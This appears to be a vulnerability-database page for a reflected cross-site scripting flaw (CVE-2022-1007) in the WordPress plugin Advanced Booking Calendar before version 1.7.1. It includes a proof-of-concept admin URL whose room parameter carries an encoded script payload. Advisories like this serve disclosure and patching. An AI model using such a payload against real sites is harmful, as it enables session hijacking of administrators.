Lucene search
YICHENG LIU-ZTE CHENFENG lab WPEX-ID:6F5B764B-D13B-4371-9CC5-91204D9D6358HistoryMar 21, 2022 - 12:00 a.m.
Advanced Booking Calendar < 1.7.1 - Reflected Cross-Site Scripting
2022-03-2100:00:00
YICHENG LIU-ZTE CHENFENG lab
62
0.001 Low
EPSS
Percentile
41.7%
The plugin does not sanitise and escape the room parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C%22Related
nvd
nvd
CVE-2022-1007
2022-04-11 15:15:08
cvelist
cvelist
wpvulndb
wpvulndb
Advanced Booking Calendar < 1.7.1 - Reflected Cross-Site Scripting
2022-03-21 00:00:00
cve
cve
CVE-2022-1007
2022-04-11 15:15:08
prion
prion
Cross site scripting
2022-04-11 15:15:00
nuclei
nuclei
WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
2022-10-21 15:27:05